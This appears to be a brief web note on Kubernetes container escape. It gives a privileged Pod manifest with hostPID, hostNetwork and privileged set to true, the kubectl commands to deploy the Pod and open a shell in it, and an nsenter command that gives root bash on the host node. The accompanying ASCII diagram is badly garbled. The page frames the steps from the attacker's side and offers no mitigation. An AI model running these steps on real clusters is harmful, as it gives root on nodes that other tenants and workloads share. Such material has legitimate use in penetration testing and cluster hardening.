Skip to content

K8s container escape

diagram

┌──────────┐   ┌─────────────────────────────────┐   ┌───────────────────┐
                                                                     Attacker ├──►│ kubectl apply -f privileged.yml ├──►│  Priviliged-Pod                                                                       └──────────┘   └─────────────────────────────────┘    ┌───────────────┐                                                                                                                                Container                                                                                                                                                                                                        ┌──────────┐                                                           Evil cmd                                                           └────┬─────┘                                                                                                                                                                                                  └───────┼───────┘                                                                                                                             └─────────┼─────────┘
                                                               ┌──────────────────────────────────────────────────────────────▼─────────┐
                            Host resources                              └────────────────────────────────────────────────────────────────────────┘

privileged.yaml

apiVersion: v1
kind: Pod
metadata:
  name: privileged-the-pod
spec:
  hostPID: true
  hostNetwork: true
  containers:
  - name: privileged-the-pod
    image: nginx:latest
    ports:
    - containerPort: 80
    securityContext:
      privileged: true

Apply that privileged Pod spec

kubectl apply -f privileged.yaml

Get shell access to privileged-the-pod

kubectl exec -it privileged-the-pod -- /bin/bash

Escape

attacker can use the nsenter command to enter into the host namespace and run the bash command as root on the host

nsenter -t 1 -a bash

Reference